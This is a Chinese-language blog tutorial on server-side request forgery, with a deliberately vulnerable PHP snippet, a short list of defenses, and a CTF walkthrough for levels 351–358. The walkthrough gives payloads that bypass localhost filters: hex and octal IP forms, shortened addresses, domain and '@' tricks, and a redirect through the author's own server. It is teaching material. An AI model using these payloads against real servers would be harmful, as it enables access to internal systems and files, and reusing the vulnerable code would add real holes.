分享

SSRF漏洞

 zZ华 2024-03-25 发布于广东

用户须知

1.免责声明:本教程作者及相关参与人员对于任何直接或间接使用本教程内容而导致的任何形式的损失或损害,包括但不限于数据丢失、系统损坏、个人隐私泄露或经济损失等,不承担任何责任。所有使用本教程内容的个人或组织应自行承担全部风险。

免责声明 版权声明 QQ交流群

SSRF漏洞

知识引入

SSRF

服务器端请求伪造,是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。攻击目标是内网

  1. 漏洞造成原因

服务器对用户提交的url没有进行过滤

  1. 原理解释
Image

漏洞危害


具体危害
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
2.攻击运行在内网或本地的应用程序(比如溢出)
3..对内网 web 应用进行指纹识别,通过访问默认文件实现
4.攻击内外网的 web 应用,主要是使用 get 参数就可以实现的攻击(比如 struts2,sqli 等)
5.利用 file 协议读取本地文件等
6.各个协议调用探针:http,file,dict,ftp,gopher 等

找漏洞思路-黑盒

一.从web功能看

  1. 在线翻译

在线翻译网站,可能会访问你输入的链接,尝试一下

Image
  1. 图片加载

给网站一个地址,它会加载图片,间接说明它有访问其它网站的能力

  1. 转码服务

定义:通过url地址把原地址网站调优,使其适用手机屏幕观看

转码时候,间接访问了外部

共同点

网站有访问外部的功能

二.从url关键字寻找

share、wap、url、link、src、source、target、display 等

Image

找漏洞思路-白盒

一.相关函数

在 PHP 中的 curl(),file_get_contents(),fsockopen()等函数是几个主要产生 ssrf 漏洞的函数

二.简单复现

  1. 写代码
写一个1.php文件功能是接受url,并将它给一个变量,然后打印出来
<?php
$url=$_GET['url'];
$content=file_get_contents($url);
echo $content;
?>
  1. 部署网站
ImageImage

<<< 左右滑动见更多 >>>

  1. 情景复现

Image

用其他客户机访问,可以看到有访问外部的功能,并且读取了D盘下的文件

防御手段

1、限制请求的端口只能为 Web 端口,只允许访问 HTTP 和 HTTPS 的请求。
2、限制不能访问内网的 IP,以防止对内网进行攻击
3、屏蔽返回的详细信息

CTF-WEB入门

351关

  1. 源码分析
ImageImage

<<< 左右滑动见更多 >>>

  1. 操作

post提交数据,修改可以用bp,也可以用hackbar

如果不知道有什么文件,可以用目录扫描工具扫描
url=http://www.baidu.com
url=http://127.0.0.1/flag.php

Image

352关

  1. 源码分析
Image
  1. 思路

可以将127进行16进制转换,也可以大小写

  1. 操作
Image
16进制
用电脑表示就是0x7F
url=http://0x7F.0.0.1/flag.php
如果16进制被过滤,那就别的进制
八进制:url=http://0177.0.0.1/flag.php

  1. 结果展示

Image

353关

  1. 源码分析
Image
  1. 思路

还是进制绕过

url=http://0x7F.0.0.1/flag.php
  1. 操作

Image

354关

  1. 源码分析
Image
  1. 思路

将域名解析到127.0.0.1

  1. 域名解析
Image
  1. 操作
url=http://flag./flag.php

Image

355关

  1. 源码分析
Image
  1. 思路

既然<=5,那就直接127.1

  1. 操作
url=http://127.1/flag.php

Image

356关

  1. 源码分析
Image
  1. 操作
url=http://0/flag.php

Image

357关

  1. 源码分析
Image
  1. 尝试
url=http://127.0.0.1
失败
url=http://www.baidu.com
成功
说明只能访问外部地址

Image

  1. 思路

只能加载外部地址,所以我们在自己的云服务器上进行重定向

  1. 服务器操作
服务器端
sudo su
cd /var/www/html
vim 2.php
<?php
header('Location:http://127.0.0.1/flag.php');
然后再访问自己服务器这个文件
url=http://43.139.71.196/2.php

Image

  1. 结果展示
url=http://43.139.71.196/2.php

Image

358关

  1. 源码分析
ImageImage

<<< 左右滑动见更多 >>>

  1. 操作
url=http://ctf.@127.0.0.1/flag.php#show

Image

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多